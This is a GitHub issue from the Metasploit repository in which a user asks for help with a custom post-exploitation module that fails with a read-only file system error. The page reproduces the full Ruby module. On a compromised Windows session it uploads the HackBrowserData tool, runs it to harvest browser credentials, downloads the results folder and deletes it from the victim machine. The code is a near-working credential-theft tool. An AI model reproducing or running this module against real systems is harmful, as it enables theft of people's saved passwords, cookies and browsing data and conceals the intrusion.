Skip to content

Post failed: Errno::EROFS Read-only file system @ rb_sysopen - #18789

@nounouthereal

Description

@nounouthereal

Summary

So I'm currently trying to make a post for myself that:

  • Upload an exe file (from HackBrowserData)
  • Execute the exe file which creates a directory named results
  • Download this directory
  • Delete the directory

Relevant information

Post code:

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Multi Gather Browsers Credentials with HackBrowserData',
        'Description' => %q{Push a file and execute it.},
        'Author' => 'nounou',
        'License' => MSF_LICENSE,
        'Platform' => ['win', 'unix', 'linux', 'osx'],
        'SessionTypes' => ['meterpreter'],
        'Notes' => {
          'Stability' => ['np'],
          'Reliability' => ['np'],
          'SideEffects' => ['np']
        }
      )
    )

    register_options([

      OptPath.new('LPATH', [false, 'Local file path to upload and execute']),
      OptString.new('RPATH', [false, 'Remote file path on target (default is temporary folder)']),
      OptString.new('FILENAME', [false, 'Name of the executable (default is hbd.exe)']),
    ])
  end

  def run
    $username = session.sys.config.getenvs('USERNAME')['USERNAME']
    $user_env = "c:\\Users\\#{$username}"

    executable = "#{rpath}\\#{filename}"

    print_status($username)
    print_status("Uploading #{lpath} to #{executable}")
    upload_file(executable, lpath)
    results = "#{rpath}\\results"
    cmd_exec(executable)
    session.fs.dir.download('', results)
    dir_rm(results)
  end

  def lpath
    datastore['LPATH'].blank? ? 'uet.exe' : datastore['LPATH']
  end

  def rpath
    datastore['RPATH'].blank? ? + $user_env + '\\AppData\\Local\\Temp' : datastore['RPATH']
  end

  def filename
    datastore['FILENAME'].blank? ? 'hbd.exe' : datastore['FILENAME']
  end
end

Metadata

Metadata

Assignees

No one assigned

    Labels

    StaleMarks an issue as stale, to be closed if no action is takenquestionQuestions about Metasploit Usage

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions